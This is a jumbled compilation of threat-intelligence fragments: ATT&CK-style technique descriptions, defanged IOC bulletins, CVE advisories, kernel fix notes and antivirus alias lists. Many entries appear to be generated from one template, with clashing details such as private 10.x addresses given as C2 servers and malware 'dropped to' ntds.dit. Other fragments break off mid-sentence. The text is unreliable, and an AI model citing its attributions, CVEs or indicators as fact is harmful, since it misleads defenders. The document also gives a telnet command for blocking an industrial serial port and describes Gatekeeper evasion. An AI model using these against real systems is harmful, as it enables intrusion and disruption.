Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.

Based on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:

1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.

2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.

3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.

4. Notarization - Using the `api[ . ]apple-cloudkit[ . ]com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.

Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Defense Evasion), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.

Applications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using Drive-by Compromise.


This local port is used by Exodus Two to execute various commands on the Android device , such as enabling or disabling certain services , or parsing app databases . Suckfly conducted a multistage attack against an e-commerce organization . Corrupted file f6876fd68fdb9c964a573ad04e4e0d3cfd328304659156efc9866844a28c7427 . imgonline-com-ua-dexifEEdWuIbNSv7G[ . ]jpg : The FBI released an advisory warning users about NFT phishing scams where developers are often approached via social media and tricked into visiting a malicious link .


Opening the attached “ Defence & Security 2018 Conference Agenda[ . ]docx ” file does not immediately run malicious code to exploit the system .


IOC Bulletin - StealC Campaign:
Network Indicators:
- 192 [ . ] 105 [ . ] 15 [ . ] 52
- 19[.]125[.]207[.]87
- 10 [ . ] 165 [ . ] 222 [ . ] 188
- staticstatic[.]live
- relayupdate[ . ]club
URLs:
- hxxps://cdnupdate[.]online/callback
- hxxp://sync-data[ . ]xyz/login
Email Senders:
- support@mail-service[ . ]info
- notification@secure-verify[ . ]net
File Indicators:
- MD5: 28f8f6f55196d13d79552700a9a2959a
- SHA256: f6847a0dbed71b6c728a3eb3fcbb9112a58131cf6dc4ed99296c03166e27f4f3
- Drop path: /dev/shm/agent.py


Key : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer Value : %AppData%\Platform\sslwin[.]exe .


Vulnerability Advisory: CVE-2023-34260 is a critical deserialization flaw affecting F5 BIG-IP. Mandiant confirmed active exploitation by Flax Typhoon in the wild. Exploitation delivers LockBit (MD5: 92524d006c4e584012354d7dfd797402) which is dropped to /var/tmp/sam.hive. The exploit payload is hosted at hxxps://node-gateway[ . ]link/assets/js/payload.js and communicates to 172[.]99[.]83[.]223 for C2.


Kaspersky GReAT published a threat intelligence report linking Diamond Sleet to a new campaign exploiting CVE-2026-27261 in Apache Struts. The attackers deployed Conti via Ligolo, establishing C2 communication with 192[.]191[.]228[.]125 and auth-secure[ . ]link. A secondary payload was downloaded from hxxp://api-cloud[ . ]top/admin/config. The malware binary (MD5: d1750cfa51b2004ae0753113c69f13f3) was dropped to C:\Users\Public\Documents\runtime.dll. Phishing emails were sent from confirm@identity-verify[ . ]cc targeting enterprise users. A backup C2 server was identified at 172[.]98[.]164[.]132.


CVE-2026-35072: Dell PowerProtect Data Domain, versions 7[.]7[.]1[.]0 through 8 [ . ] 7 [ . ] 0 [ . ] 0, LTS2025 release versions 8 [ . ] 3 [ . ] 1 [ . ] 0 through 8 [ . ] 3 [ . ] 1 [ . ] 20, LTS2024 release versions 7[.]13[.]1[.]0 through 7[.]13[.]1[.]60 contain an improper neutralization of special elements used in an OS command ('OS command injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution with root privileges.


Blog Post by Check Point Research: Tracking Aqua Blizzard's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2020-24328 against Citrix NetScaler deployments. The initial access vector involves spear-phishing emails from alert@auth-check[ . ]org delivering Play. Post-compromise, the attackers deploy PikaBot and use Hashcat for reconnaissance. C2 infrastructure includes 126 [ . ] 246 [ . ] 84 [ . ] 247 and nodeproxy[.]club. A staging server at hxxps://datarelay[ . ]net/callback hosts additional tooling. Key artifact: /var/tmp/runtime.dll (MD5: c8378e7f469fc81b131edebeb8a63602).


Distribution via alternative app stores . LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) . The launcher is a 32-bit DLL named hpqhvsei[ . ]dll , which is the name of a legitimate DLL loaded by hpqhvind[.]exe . In one of our previous blog entries , we covered how the threat actor known as Winnti was using GitHub to spread malware – a development that shows how the group is starting to evolve and use new attack methods beyond their previous tactics involving targeted attacks against gaming , pharmaceutical , and telecommunications companies .


In the Linux kernel, the following vulnerability has been resolved:

netlink: avoid infinite retry looping in netlink_unicast()

netlink_attachskb() checks for the socket's read memory allocation
constraints. Firstly, it has:

  rmem < READ_ONCE(sk->sk_rcvbuf)

to check if the just increased rmem value fits into the socket's receive
buffer. If not, it proceeds and tries to wait for the memory under:

  rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf)

The checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is
equal to sk->sk_rcvbuf. Thus the function neither successfully accepts
these conditions, nor manages to reschedule the task - and is called in
retry loop for indefinite time which is caught as:

  rcu: INFO: rcu_sched self-detected stall on CPU
  rcu:     0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212
  (t=26000 jiffies g=230833 q=259957)
  NMI backtrace for cpu 0
  CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68
  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014
  Call Trace:
  <IRQ>
  dump_stack lib/dump_stack.c:120
  nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105
  nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62
  rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335
  rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590
  update_process_times kernel/time/timer.c:1953
  tick_sched_handle kernel/time/tick-sched.c:227
  tick_sched_timer kernel/time/tick-sched.c:1399
  __hrtimer_run_queues kernel/time/hrtimer.c:1652
  hrtimer_interrupt kernel/time/hrtimer.c:1717
  __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113
  asm_call_irq_on_stack arch/x86/entry/entry_64.S:808
  </IRQ>

  netlink_attachskb net/netlink/af_netlink.c:1234
  netlink_unicast net/netlink/af_netlink.c:1349
  kauditd_send_queue kernel/audit.c:776
  kauditd_thread kernel/audit.c:897
  kthread kernel/kthread.c:328
  ret_from_fork arch/x86/entry/entry_64.S:304

Restore the original behavior of the check which commit in Fixes
accidentally missed when restructuring the code.

Found by Linux Verification Center (linuxtesting[.]org).


A backdoor also known as: HW32.Packed.BCC5 W32.Virut.G Win32.Trojan.WisdomEyes.16070401.9500.9999 Win.Trojan.Foreign-502 Trojan.DownLoader11.60294 BehavesLike[ . ]Win32[ . ]Sality[ . ]cc Win32.Virut.eb.368640 Trojan/Win32.Foreign.R131573 Trojan-Ransom.Win32.Foreign


Link embedded in the PDF document : hxxps://csaasd[ . ]egnyte[ . ]com/dd/h5s7YHzOy5 .


A backdoor also known as: Backdoor/W32.SdBot.25088.Q Backdoor/Afbot.a BKDR_POEBOT.DK Win32.Trojan.WisdomEyes.16070401.9500.9999 Backdoor.Trojan BKDR_POEBOT.DK Backdoor.Win32.Afbot.a Trojan.Win32.Afbot.daze Backdoor.Win32.S.Afbot.25088 Backdoor.W32.Afbot.a!c Backdoor.Win32.Afbot.~A BackDoor.IRC.Afbot Backdoor.Afbot.Win32.1 Backdoor/Afbot.a Trojan[Backdoor]/Win32.Afbot Backdoor:Win32/Afbot.A Backdoor.Win32.Afbot.a Backdoor.Afbot Bck/Iroffer[.]BG Win32.Backdoor.Afbot.Szbp Backdoor.Afbot!ktevPrMqQWw W32/Afbot.A!tr.bdr Win32/Backdoor.BO.3c4


In the Linux kernel, the following vulnerability has been resolved:

jffs2: check that raw node were preallocated before writing summary

Syzkaller detected a kernel bug in jffs2_link_node_ref, caused by fault
injection in jffs2_prealloc_raw_node_refs. jffs2_sum_write_sumnode doesn't
check return value of jffs2_prealloc_raw_node_refs and simply lets any
error propagate into jffs2_sum_write_data, which eventually calls
jffs2_link_node_ref in order to link the summary to an expectedly allocated
node.

kernel BUG at fs/jffs2/nodelist.c:592!
invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
CPU: 1 PID: 31277 Comm: syz-executor.7 Not tainted 6.1.128-syzkaller-00139-ge10f83ca10a1 #0
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
RIP: 0010:jffs2_link_node_ref+0x570/0x690 fs/jffs2/nodelist.c:592
Call Trace:
 <TASK>
 jffs2_sum_write_data fs/jffs2/summary.c:841 [inline]
 jffs2_sum_write_sumnode+0xd1a/0x1da0 fs/jffs2/summary.c:874
 jffs2_do_reserve_space+0xa18/0xd60 fs/jffs2/nodemgmt.c:388
 jffs2_reserve_space+0x55f/0xaa0 fs/jffs2/nodemgmt.c:197
 jffs2_write_inode_range+0x246/0xb50 fs/jffs2/write.c:362
 jffs2_write_end+0x726/0x15d0 fs/jffs2/file.c:301
 generic_perform_write+0x314/0x5d0 mm/filemap.c:3856
 __generic_file_write_iter+0x2ae/0x4d0 mm/filemap.c:3973
 generic_file_write_iter+0xe3/0x350 mm/filemap.c:4005
 call_write_iter include/linux/fs.h:2265 [inline]
 do_iter_readv_writev+0x20f/0x3c0 fs/read_write.c:735
 do_iter_write+0x186/0x710 fs/read_write.c:861
 vfs_iter_write+0x70/0xa0 fs/read_write.c:902
 iter_file_splice_write+0x73b/0xc90 fs/splice.c:685
 do_splice_from fs/splice.c:763 [inline]
 direct_splice_actor+0x10c/0x170 fs/splice.c:950
 splice_direct_to_actor+0x337/0xa10 fs/splice.c:896
 do_splice_direct+0x1a9/0x280 fs/splice.c:1002
 do_sendfile+0xb13/0x12c0 fs/read_write.c:1255
 __do_sys_sendfile64 fs/read_write.c:1323 [inline]
 __se_sys_sendfile64 fs/read_write.c:1309 [inline]
 __x64_sys_sendfile64+0x1cf/0x210 fs/read_write.c:1309
 do_syscall_x64 arch/x86/entry/common.c:51 [inline]
 do_syscall_64+0x35/0x80 arch/x86/entry/common.c:81
 entry_SYSCALL_64_after_hwframe+0x6e/0xd8

Fix this issue by checking return value of jffs2_prealloc_raw_node_refs
before calling jffs2_sum_write_data.

Found by Linux Verification Center (linuxtesting[.]org) with Syzkaller.


Incident Response Summary: On detection of anomalous traffic to 2[.]86[.]251[.]1, the Tenable IR team identified Royal running as /dev/shm/config.dat. The threat actor, believed to be Diamond Sleet, used LinPEAS for credential harvesting and Ligolo for lateral movement. Exfiltrated data was sent to gatewaysecure[.]org and securelogin[.]xyz. The initial dropper (SHA1: b70269e5f3d8f2fe3eaf7ab72d7ad2600d07ecad) was delivered via a phishing email from billing@account-update[ . ]xyz. A second C2 node was observed at 10[.]213[.]213[.]168, with a persistence mechanism writing to C:\Users\Public\Documents\sam.hive.


Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages.

A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10[.]0[.]0[.]1 via Telnet on serial port 1 with the following command: telnet 10 [ . ] 0 [ . ] 0 [ . ] 1 20001.


The best bet for Readers who want to make sure their phone is n't infected is to scan their phones using the free version of the Lookout Security and Antivirus app . Last week Microsoft , working together with Facebook and others in the security community , took strong steps to protect our customers and the internet from ongoing attacks by an advanced persistent threat actor known to us as ZINC , also known as the Lazarus Group . APT33 : 91[.]230[.]121[.]143 remote-server[ . ]ddns[ . ]net . The group , which was primarily motivated by profit , is noted for utilizing self - developed technically - proficient tools for their attacks .


We hope that this blog post helps other researchers to understand and analyze FinFisher samples and that this industry-wide information-sharing translate to the protection of as many customers as possible . The threat actors associated with DRAGONFISH have previously focused their campaigns on targets in Southeast Asia , specifically those located in countries near the South China Sea . Based on ESET telemetry , one of the second stage payload delivered to victims is Win64/Winnti[.]BN . Its capabilities include retrieving and executing additional payloads , collecting basic system information , and executing shell commands .


Blog Post by FBI: Tracking Mustang Panda's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2025-17185 against Progress Telerik deployments. The initial access vector involves spear-phishing emails from notification@identity-verify[.]cc delivering TrickBot. Post-compromise, the attackers deploy PlugX and use Hashcat for reconnaissance. C2 infrastructure includes 192[.]49[.]158[.]221 and syncstatic[.]info. A staging server at hxxps://cache-cache[ . ]site/secure/token hosts additional tooling. Key artifact: C:\Users\admin\Downloads\backdoor.elf (SHA1: b8dff9a2b96073d6395542613017755c30e37bc6).


Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Tools and Frameworks). The supported version that is affected is 11[.]3[.]1[.]5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Commerce Guided Search / Oracle Commerce Experience Manager, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data as well as unauthorized read access to a subset of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).


Forensic Investigation Notes: Analysis of the compromised host revealed Merlin artifacts at /tmp/loader.exe. Memory dump analysis confirmed execution of Metasploit. Registry modifications pointed to persistence via C:\Users\admin\AppData\Local\Temp\lsass.dmp. Network forensics identified connections to 172 [ . ] 39 [ . ] 218 [ . ] 254 and datacloud[ . ]site. Email headers traced the initial vector to helpdesk@secure-verify[.]net. File C:\Users\admin\Downloads\update.dll (SHA256: ea5b38c145be6e88f5a14b1569e80f6a597f2f297279b70ab2f0b64eb6aa37c6) was identified as the initial dropper. A staging URL hxxps://staticnode[ . ]tech/collect resolved to 90 [ . ] 96 [ . ] 87 [ . ] 30. Secondary artifact hash: SHA256: 1b813fe60298c2d99f225b8fbb2e8a5841b1376ee5daf888c0bb4384ab98a869.


Incident Response Summary: On detection of anomalous traffic to 3 [ . ] 143 [ . ] 75 [ . ] 180, the Trend Micro IR team identified AsyncRAT running as /opt/app/bin/lsass.dmp. The threat actor, believed to be Aqua Blizzard, used LinPEAS for credential harvesting and Hashcat for lateral movement. Exfiltrated data was sent to portalcloud[.]dev and apicdn[.]io. The initial dropper (SHA1: aa931c09f3fd6ee6c496481eb7a977abeffbeb4e) was delivered via a phishing email from billing@secure-verify[ . ]net. A second C2 node was observed at 115 [ . ] 105 [ . ] 226 [ . ] 179, with a persistence mechanism writing to C:\Windows\System32\loader.exe.


Vulnerability Advisory: CVE-2024-26162 is a critical XXE injection affecting F5 BIG-IP. Kaspersky GReAT confirmed active exploitation by Salt Typhoon in the wild. Exploitation delivers Gootloader (SHA1: 93deeabea0344f7cf74ff9aaf76788eedf317ad2) which is dropped to /home/user/.config/shell.php. The exploit payload is hosted at hxxp://logincloud[.]top/collect and communicates to 192 [ . ] 123 [ . ] 245 [ . ] 129 for C2.


One example of the new Sofacy USBSTEALER modules is 8b238931a7f64fddcad3057a96855f6c , which is named internally as msdetltemp[ . ]dll .


APT29, also known as Cozy Bear and tracked by Microsoft as Midnight Blizzard, conducted a phishing campaign targeting European diplomatic entities in Q1 2025. The group distributed malicious ISO files containing a shortcut file that executed a DLL payload via rundll32.exe. The DLL with SHA256 hash f1e2d3c4b5a6978089a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2 was loaded from C:\Users\Public\Documents\config.dll. C2 communications were directed to auth-microsoft365[ . ]com and login-sharepoint[ . ]org over HTTPS port 443. The phishing emails were sent from compromised accounts at legitimate organizations and contained links to hxxps://auth-microsoft365[ . ]com/oauth/v2/authorize?client_id=payload. Secondary C2 infrastructure was hosted at 194 [ . ] 58 [ . ] 112 [ . ] 43 and 89[.]34[.]27[.]199. The group also deployed Brute Ratel C4 from C:\Users\AppData\Local\Temp\RuntimeBroker.exe.


Artifact Analysis for RedLine Stealer campaign:
Stage 1 dropper at /tmp/taskhost.exe - SHA256: 666b9995b6355c0b8727da604c0bf6fb505fe2e4fb0e6a5ff2b8c9e77eb48ebd
Stage 2 loader at C:\Users\admin\Downloads\csrss.exe - MD5: 09d8685246bf38b0ecadfff7aa9c1085
Final payload at C:\Users\admin\Downloads\agent.py - MD5: 478844240b8d53ad45ef53af836e004c
Exfiltration module - SHA1: 7cb6d96d5cd6621b9c2ae28c02684b0ed9f96c0c
All stages communicated with 207[.]16[.]62[.]57. LaZagne signatures detected in Stage 2.


About a decade ago , attackers wielding banking Trojans could simply use stolen credentials to access a victim ’ s online banking account and perform money transfers . PUTTER PANDA is likely to continue to aggressively target Western entities that hold valuable information or intellectual property relevant to these interests . We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation[.]dot .


Blog Post by Volexity: Tracking Volt Typhoon's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2026-10212 against Windows 11 deployments. The initial access vector involves spear-phishing emails from support@mail-service[ . ]info delivering Qbot. Post-compromise, the attackers deploy TrickBot and use LaZagne for reconnaissance. C2 infrastructure includes 218[.]22[.]33[.]85 and data-relay[ . ]top. A staging server at hxxps://securegateway[ . ]io/collect hosts additional tooling. Key artifact: C:\Windows\System32\backdoor.elf (MD5: 61cf8b20b132216a0308d730d389c1f1).


IOC Bulletin - RemcosRAT Campaign:
Network Indicators:
- 192[.]174[.]35[.]182
- 192[.]246[.]192[.]181
- 172 [ . ] 82 [ . ] 145 [ . ] 107
- backup-login[.]club
- secureupdate[.]info
URLs:
- hxxp://loginupdate[ . ]site/wp-content/uploads/doc.php
- hxxp://gatewayapi[ . ]net/panel/index.html
Email Senders:
- verify@login-portal[.]tech
- updates@account-update[ . ]xyz
File Indicators:
- SHA256: 358c3b3fdb9b39b987052c0916bce1e09d32012ba9cca92ad694a80bd24f87e2
- SHA1: 8d1e8918e2c323b9814ea59555065674e74267e0
- Drop path: C:\Users\admin\Downloads\lsass.dmp


Scattered Spider has compromised cloud environments by exploiting CVE-2023-22515 in Atlassian Confluence and using social engineering to defeat Okta multi-factor authentication. The threat actor deploys the ALPHV/BlackCat ransomware after establishing persistence. Mandiant observed the group using Fleetdeck[.]io and AnyDesk for remote access. CISA recommends reviewing Okta system logs and Azure Active Directory sign-in logs for anomalous activity.


Huntress detected a multi-stage attack chain. The initial phishing email from ceo@account-update[.]xyz contained a link to hxxp://node-proxy[ . ]org/portal/verify. This redirected to hxxps://cdn-mail[ . ]cc/secure/token on mailsecure[.]cc. A secondary email from noreply@secure-verify[ . ]net pointed to hxxps://cachenode[.]club/secure/token which delivered SmokeLoader. The final payload callback was hxxps://storageapi[ . ]io/collect resolving to 51 [ . ] 65 [ . ] 156 [ . ] 37 via syncdata[.]top.


Malware Analysis Report: Play (SHA256: 85763adb54f4ac53b92d3da8ae72ff630a2b80b25b11896e68daf48e16f3c351). Upon execution on Ivanti Connect Secure, the sample creates C:\Users\admin\Downloads\chrome_helper.exe and injects into legitimate processes. Network analysis shows beaconing to 154 [ . ] 211 [ . ] 146 [ . ] 56 every 60 seconds and DNS queries to syncmail[.]club. The second stage was fetched from hxxps://node-update[ . ]top/portal/verify and written to C:\Users\admin\AppData\Local\Temp\chrome_helper.exe. The payload uses PowerShell Empire-style techniques for defense evasion. A secondary hash (MD5: 2c97181e571b3ddb46e6082847ef63f3) was extracted from the unpacked payload.


Microsoft MSRC detected a multi-stage attack chain. The initial phishing email from info@login-portal[.]tech contained a link to hxxp://auth-sync[.]xyz/callback. This redirected to hxxp://mail-proxy[ . ]info/download/update.exe on staticauth[.]cc. A secondary email from service@mail-service[ . ]info pointed to hxxps://auth-auth[.]dev/portal/verify which delivered DanaBot. The final payload callback was hxxps://staticstatic[.]org/admin/config resolving to 172[.]213[.]162[.]245 via staticcdn[ . ]cc.


Incident Response Summary: On detection of anomalous traffic to 133 [ . ] 5 [ . ] 87 [ . ] 84, the Trend Micro IR team identified PikaBot running as C:\Program Files\Common Files\beacon.dll. The threat actor, believed to be Lazarus Group, used Brute Ratel for credential harvesting and BloodHound for lateral movement. Exfiltrated data was sent to proxyapi[.]site and login-cloud[ . ]info. The initial dropper (SHA1: dc826857b57b6e8dd5b7a84ab9095cd7c98c725f) was delivered via a phishing email from notification@login-portal[ . ]tech. A second C2 node was observed at 101[.]80[.]56[.]34, with a persistence mechanism writing to C:\Users\admin\Downloads\implant.so.


Volexity published a threat intelligence report linking TA505 to a new campaign exploiting CVE-2026-44676 in Citrix NetScaler. The attackers deployed XLoader via WinPEAS, establishing C2 communication with 172[.]111[.]29[.]149 and nodenode[.]org. A secondary payload was downloaded from hxxp://node-api[ . ]live/api/v2/auth. The malware binary (SHA1: 097e31987e1382d795ec15b2a2f758cf402ed1d6) was dropped to C:\ProgramData\helper.sh. Phishing emails were sent from service@secure-verify[.]net targeting enterprise users. A backup C2 server was identified at 192[.]160[.]29[.]13.


The Lazarus Group was first identified in Novetta’s report Operation Blockbuster in February 2016 . The Silence[ . ]Main Trojan , which is the main stage of the attack , has a full set of commands to control a compromised computer .


Infrastructure FTP server The attackers used ftp : //213.174.157 [ . In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality . APT33 : 91[.]235[.]142[.]76 mywinnetwork[ . ]ddns[ . ]net . It supports loading arbitrary .NET assemblies encoded as Base64 sent to it via chat comments .


Forensic Investigation Notes: Analysis of the compromised host revealed Mimikatz artifacts at C:\Windows\Temp\shell.php. Memory dump analysis confirmed execution of PowerShell Empire. Registry modifications pointed to persistence via /etc/cron.d/runtime.dll. Network forensics identified connections to 172[.]22[.]165[.]235 and storage-auth[ . ]live. Email headers traced the initial vector to info@auth-check[.]org. File C:\Windows\Tasks\config.dat (SHA256: 4bf4c62d0406287a63ebac6599b1e026d392671bb6d6f0e7c30b367bdbb0621c) was identified as the initial dropper. A staging URL hxxp://storageedge[.]live/login resolved to 172[.]24[.]64[.]64. Secondary artifact hash: SHA256: 0275a4e5f4a35de4bfbf652741de4a489c4e4b4e5bc0a34ef4e09fa66cf4995b.


Phishing Campaign Report: Kaspersky GReAT identified a large-scale phishing operation. Emails originated from alert@auth-check[ . ]org and finance@identity-verify[ . ]cc, spoofing legitimate services. Victims were directed to hxxps://proxy-mail[.]link/panel/index.html which hosted a credential harvesting page on apicdn[.]info. A secondary link hxxps://cloud-node[ . ]club/portal/verify delivered QakBot (SHA256: 1291e92e5bbba173be68a34922734af05b541ae39c6ac00fa6f54be47e0907f8). The malware was saved to C:\ProgramData\csrss.exe and established C2 with 99[.]174[.]38[.]176.


A backdoor also known as: Trojan.Bebloh.Win32.427 Win32.Trojan.WisdomEyes.16070401.9500.9999 W32/Injector.CMX TROJ_HPISDA.SM2 Trojan.Win32.NaKocTb.eiktob Trojan.Win32.Inject.213504 Troj.W32.Inject.tn8S BackDoor.Bebloh.272 TROJ_HPISDA.SM2 BehavesLike[.]Win32[.]Downloader[.]ch W32/Injector.UCTI-2382 Trojan.Inject.tpn Trojan/Win32.Inject Trojan.Strictor.D1C966 Backdoor:Win32/Carrotime.A Trojan/Win32.Inject.C1667127 Trj/RansomCrypt.J W32/Kryptik.FJVT!tr


Files Description CMDS * .txt Text files with commands to execute supersu.apk SuperSU ( eu.chainfire.supersu , https : //play[.]google[.]com/store/apps/details ? Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government - referred to by the U.S. Government as BADCALL . APT33 : 213 [ . ] 252 [ . ] 244 [ . ] 14 service-avant[ . ]com . Individuals who have access to critical information or systems can easily choose to misuse that accessto the detriment of their organization .


In the quadrant , the smaller boxes in blue-gray represent particular apps in the RuMMS family , while the bigger boxes in deep-blue represent C2 servers used by some RuMMS apps . The OilRig group continues to be a persistent adversary group in the Middle East region . The oldest one from November 2019 , named " Urgent[.]docx " . Mandiant has identified zero - day exploitation of this vulnerability in the wild beginning in late August 2023 as well as n - day exploitation after Citrix ’s publication .


In this latest incident , the group registered a fake news domain , timesofindiaa[ . ]in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day . This article is an attempt to share this experience with other experts , particularly the IT security specialists in companies and financial institutions that increasingly find themselves the targets of cyber-attacks .


Malware Analysis Report: AgentTesla (SHA256: df677d572c40267397d1aeb027a00e9f84eebe9c2959fd3754667e818bec7d32). Upon execution on VMware ESXi, the sample creates /opt/app/bin/dropper.ps1 and injects into legitimate processes. Network analysis shows beaconing to 17[.]57[.]243[.]119 every 60 seconds and DNS queries to edgerelay[ . ]org. The second stage was fetched from hxxps://backup-proxy[.]online/download/update.exe and written to /etc/cron.d/implant.so. The payload uses PowerView-style techniques for defense evasion. A secondary hash (SHA256: 226710d90e5377a0c1b18f2ee7065fbfcbb471561c3756d0c8e69202a0995a6f) was extracted from the unpacked payload.


The system verifies the signature of the legitimate file while installing the malicious file . There has also been at least one victim targeted by a spear-phishing attack . In the case we examined , the path was C:\ProgramData\DRM\CLR\CLR[.]exe . The campaign started in at least June 2023 , and the ransom note appears to mimic certain aspects of the ransom note used in the global WannaCry attacks from 2017 .


Sophos X-Ops published a threat intelligence report linking FIN11 to a new campaign exploiting CVE-2025-46789 in Citrix NetScaler. The attackers deployed Play via CrackMapExec, establishing C2 communication with 192 [ . ] 195 [ . ] 116 [ . ] 107 and staticstorage[.]online. A secondary payload was downloaded from hxxp://cloud-login[.]cc/download/update.exe. The malware binary (MD5: 5005f8b01c76b47a142bb13e4b40d2a0) was dropped to C:\Windows\System32\ntds.dit. Phishing emails were sent from noreply@document-share[ . ]link targeting enterprise users. A backup C2 server was identified at 192 [ . ] 78 [ . ] 218 [ . ] 249.


Trend Micro published a threat intelligence report linking Forest Blizzard to a new campaign exploiting CVE-2021-24446 in Cisco ASA. The attackers deployed SmokeLoader via PsExec, establishing C2 communication with 20[.]91[.]243[.]81 and proxy-cloud[ . ]xyz. A secondary payload was downloaded from hxxp://sync-cloud[ . ]xyz/wp-content/uploads/doc.php. The malware binary (SHA1: b9daf676c4627c3af9af734000aeea6542a64e70) was dropped to /etc/cron.d/payload.bin. Phishing emails were sent from alert@secure-verify[ . ]net targeting enterprise users. A backup C2 server was identified at 56[.]137[.]93[.]243.


Phishing Campaign Report: NCSC identified a large-scale phishing operation. Emails originated from confirm@urgent-notice[ . ]online and alert@mail-service[.]info, spoofing legitimate services. Victims were directed to hxxp://api-static[ . ]org/collect which hosted a credential harvesting page on cacheedge[.]top. A secondary link hxxps://gatewayauth[.]online/secure/token delivered BumbleBee (SHA1: 5c4958bd7bcec41bf43116da1bac4fe213d801c1). The malware was saved to /home/user/.config/csrss.exe and established C2 with 46 [ . ] 8 [ . ] 77 [ . ] 180.


IOC Bulletin - Hive Campaign:
Network Indicators:
- 172[.]207[.]86[.]136
- 172[.]236[.]238[.]211
- 218 [ . ] 253 [ . ] 25 [ . ] 22
- cacherelay[ . ]org
- nodelogin[.]dev
URLs:
- hxxp://gatewaystatic[ . ]dev/portal/verify
- hxxp://updateproxy[ . ]online/admin/config
Email Senders:
- ceo@document-share[.]link
- it@identity-verify[.]cc
File Indicators:
- SHA256: b2e8b42d7488ffc3ed65fe94f7748b7df0227c8c5e05d74360f5400c35490242
- SHA256: 9dc3b4790af4f3e8359a4fc0a5aa0f948b1d62fa37d5ebe7fdc379644ce29eea
- Drop path: C:\Users\Public\Documents\shell.php


Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy , APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address 1[.]1[.]1[.]1 .


Blog Post by Cisco Talos: Tracking Storm-0558's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2025-46789 against Barracuda ESG deployments. The initial access vector involves spear-phishing emails from billing@document-share[ . ]link delivering Latrodectus. Post-compromise, the attackers deploy Dridex and use Seatbelt for reconnaissance. C2 infrastructure includes 10[.]148[.]21[.]114 and proxy-cloud[ . ]com. A staging server at hxxp://apisync[.]link/collect hosts additional tooling. Key artifact: C:\Windows\Temp\implant.so (SHA256: 475242e819fcd357b0b5d78c9b6e6f410039cd4d3d5695019321bbe14316c093).


] top/ Oct 23 , 2017 hxxp : //online[.]bankaustria[.]at.id8817469 [ .


IOC Bulletin - RedLine Stealer Campaign:
Network Indicators:
- 10[.]135[.]38[.]140
- 10[.]179[.]95[.]183
- 99 [ . ] 82 [ . ] 184 [ . ] 38
